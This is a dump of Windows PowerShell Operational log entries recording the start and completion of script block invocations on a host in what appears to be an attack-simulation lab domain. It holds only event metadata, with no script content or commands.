Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045377
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045376
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045375
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045374
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045358
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045357
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045352
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045351
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
